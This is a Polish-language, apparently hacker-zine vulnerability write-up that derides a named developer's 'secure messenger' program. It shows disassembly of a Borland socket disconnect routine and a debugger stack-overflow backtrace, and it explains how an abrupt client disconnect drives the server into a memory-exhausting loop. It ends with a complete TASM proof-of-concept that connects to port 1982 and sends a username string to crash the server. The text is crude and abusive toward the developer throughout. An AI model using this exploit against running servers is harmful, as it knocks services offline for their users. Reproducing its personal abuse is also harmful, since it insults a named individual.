(Oryginalna nazwa pliku: scc-nasrajwpory.txt. -- Platyna) Szalone pozdrowienia dla Pawla Jablonskiego i jego wlasnego projektu "Twój własny - Bezpieczny komunikator". Nie wiecej niz 10 minut lookania, gowno kompilowane w borlandzie, + jakies gowniane komponenty socketowe, Panie Jablosnki proponuje zainwestowac w minimalna wiedze na temat winsocka. No ale do sedna, w zwiazku z tym ze wlasnie sciagnal mi sie film nie bede wiecej badal wyzej wymienionego smiecia ktory wyszedl spod reki goriona albo spod dupy kogos innego z PC kuriera. A zatem do sedna, aplikacje serwera mozna wyjebac na kilka sposob + klienta o ile jest jakis podlaczony. A wszystko to dlatego ze pan spec od infrastruktry sieci rzadowej zapomnial ze nie kazdy poczciwy wielbiciel musi zamykac poprawnie polaczenie. Ups? Ilustracja problemu: ;########################################################################################### .text:0040723C ; --------------- S U B R O U T I N E --------------------------------------- .text:0040723C .text:0040723C ; Attributes: library function .text:0040723C .text:0040723C ; __fastcall Scktcomp::TServerWinSocket::ClientDisconnect(Scktcomp::TCustomWinSocket *) .text:0040723C @Scktcomp@TServerWinSocket@ClientDisconnect$qqrp25Scktcomp@TCustomWinSocket proc near .text:0040723C ; DATA XREF: .text:004051D8o .text:0040723C push ebx .text:0040723D push esi .text:0040723E mov esi, edx .text:00407240 mov ebx, eax .text:00407242 cmp word ptr [ebx+9Ah], 0 .text:0040724A jz short defer_free .text:0040724C mov ecx, esi .text:0040724E mov edx, ebx .text:00407250 mov eax, [ebx+9Ch] .text:00407256 call dword ptr [ebx+98h] ; loop! .text:0040725C defer_free: ; CODE XREF: Scktcomp::TServerWinSocket::ClientDisconnect(Scktcomp::TCustomWinSocket *)+Ej .text:0040725C cmp byte ptr [ebx+58h], 0 .text:00407260 jnz short loc_407269 .text:00407262 mov eax, esi .text:00407264 call @Scktcomp@TCustomWinSocket@DeferFree$qqrv ; Scktcomp::TCustomWinSocket::DeferFree(void) .text:00407269 ;########################################################################################### A teraz krotki opis: Procedurka spod 0040723Ch, jest odpowiedzialna za rozlaczanie danego uzytkownika ktory postanowil w nie uzywac juz wiecej swojego bezpiecznego komunikatora. Jak widac jezeli dwa bajty spod [ebx+9ah] zamarkowane sa na zero, nastapila juz wstepne "pozegnanie" uzytkownika i procedura finalizujaca jest kontynuowana (mam tu na mysli wszelkie zwalnianie pamieci na stercie i inne gowna). Natomiast jezeli uzytkownik rozlaczy sie bez pozegnania :) wszystko zaczyna sie loopowac w zwiazku z wspanialem callem spod 00407256h, ktory prowadzi nas do: [EBX+0x98] = 00993DFC BC 1D 40 00 Ą@. fajny pointer do fajnej subroutine: ;########################################################################################### .text:00401DBC push ebp ; shit .text:00401DBD mov ebp, esp .text:00401DBF add esp, 0FFFFFF9Ch .text:00401DC2 push ebx ...blabla... .text:00401E14 mov eax, offset aTerminalClient ; "Terminal client from " .text:00401E19 pop edx .text:00401E1A call @System@$badd$qqrpxcrx17System@AnsiString ; System::operator+(char *,System::AnsiString &) .text:00401E1F lea ecx, [ebp+var_8] .text:00401E22 push ecx .text:00401E23 lea eax, [ebp+var_10] .text:00401E26 call unknown_libname_37 ; Borland Visual Component Library & Packages .text:00401E2B push eax .text:00401E2C inc [ebp+var_34] .text:00401E2F mov edx, offset aHasBeenDisconn ; " has been disconnected." .text:00401E34 lea eax, [ebp+var_C] .text:00401E37 call porky_gorion_string_forky ...blabla... ;########################################################################################### Wszelkie sklejanie pozegnalnych napisow i innych pierdolonych smieci nastepuje tutaj. Jak latwo sie domyslec za kazdym loopem alokowana jest kolejna porcja pamieci. Nie wspomne juz o bramkach SEH ktore tez nie sa zdejmowane prawidlowo,a skonczywszy na jebanych komponentach GDI. W konsekwencji prowadzi to to tzw. stack exhaustion czyli wyczerpania pamieci stacka. ;########################################################################################### (db8.a00): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=000035c1 ebx=00000035 ecx=001ab675 edx=000001a9 esi=001ab6aa edi=00161168 eip=77f1885f esp=00032f90 ebp=000334c4 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll - GDI32!SetBrushOrgEx+0x156: piekny backtrace: 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 000334c4 77f1d476 c101189d 00000001 00000001 GDI32!SetBrushOrgEx+0x156 000334f0 77d71941 c101189d 00000001 00000001 GDI32!ExtTextOutA+0x24 000335a8 77d729d5 c101189d 00000001 00007ffc USER32!MessageBoxExA+0x13e5 0003364c 77d72441 000009b9 c101189d 00000035 USER32!MessageBoxExA+0x2479 00033684 77d70bd8 018a0021 c101189d 000336bc USER32!MessageBoxExA+0x1ee5 000336f8 77d59a7f 00100584 00161168 0000000f USER32!MessageBoxExA+0x67c 0003373c 77d52fcb 00770c18 0000000f 00000000 USER32!LockWindowUpdate+0x471 00033760 77d5b418 00770c18 0000000f 00000000 USER32!DrawFrame+0x630 00033780 77d38734 00100584 0000000f 00000000 USER32!DialogBoxParamA+0x2fc 000337ac 77d38816 77d5b3c4 00100584 0000000f USER32!GetDC+0x6d 00033814 77d3c63f 00000000 77d5b3c4 00100584 USER32!GetDC+0x14f 00033844 77d3e905 77d5b3c4 00100584 0000000f USER32!IsWindowUnicode+0xa1 *** WARNING: Unable to verify checksum for Project1.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for Project1.exe - 00033864 0045bfa8 77d5b3c4 00100584 0000000f USER32!CallWindowProcA+0x1b 00033918 00458f1f 00033b10 00033a98 00993f00 Project1!Unit1Finalize+0x58abc 00033a40 0045bec4 0045bec4 00650065 0020006e Project1!Unit1Finalize+0x55a33 00033a90 004150ea 0000000f 00000000 00000000 Project1!Unit1Finalize+0x589d8 00033aa8 77d38734 00100584 0000000f 00000000 Project1!Unit1Finalize+0x11bfe 00033ad4 77d38816 003e0fc8 00100584 0000000f USER32!GetDC+0x6d 00033b3c 77d3b4c0 00000000 003e0fc8 00100584 USER32!GetDC+0x14f 00033b90 77d3b50c 00770c18 0000000f 00000000 USER32!DefWindowProcW+0x184 ;########################################################################################### ;########################################################################################### ; goriontohuj.asm ; kompilacja: ; tasm32 /m1 /m3 /mx goriontohuj,,; ; tlink32 -Tpe -aa goriontohuj,goriontohuj,,imp32i.lib wsock32.lib,, ; pewrsec goriontohuj.exe ; @@ ; smieszny poc bazowany na kadu-fun Piotra Be (szalone pozdrowienia ziaaam). includy lataja ; gdzies po sieci wystraczy odpalic dwa razy, i kaboom ;########################################################################################### include my_macro.inc SHIT_PORT equ 1982 SHIT_HOST equ 127,0,0,1 kaboom: db "UserName=goriontohuj" kaboom_size = $ - offset kaboom call startup_shit mov ecx,kaboom_size mov eax,offset kaboom call send_shit exit: push 0 @callx ExitProcess include debug_prot.inc include tcp.inc send_shit proc pushad push 0 push ecx push eax push dword ptr [shit_sock] @callx send @check -1,"Error: send()" popad ret send_shit endp startup_shit proc pushad push offset WSA_Data push 0101h @callx WSAStartup test eax,eax jz _xxx1 xor eax,eax @check 0,"Error: cannot setup wsa!" _xxx1: push 0 push SOCK_STREAM push AF_INET @callx socket @check -1,"Error: socket()" mov dword ptr [shit_sock],eax mov ebx,eax push SHIT_PORT @callx htons mov word ptr [shit_porto],ax push 16 push offset shit_addr push ebx @callx connect @check -1,"Error: cannot connect ;/" popad ret shit_sock dd 0 shit_addr: shit_proto dw AF_INET shit_porto dw 0 shit_ip db SHIT_HOST shit_s_zero db 8 dup (0) startup_shit endp end start ########################################################################################### Reasumujac gorion taki z ciebie specjalista od spraw bezpieczenstwa jak z koziej pizdy rakietnica, pozatym twojego softu nie chcialbym nawet wyruchac goracym pogrzebaczem, szalone pozdrowienia allah akhbar! ¬ródło: http://akhbar.itsec.pl/gorion_scc_nasrajwpory.txt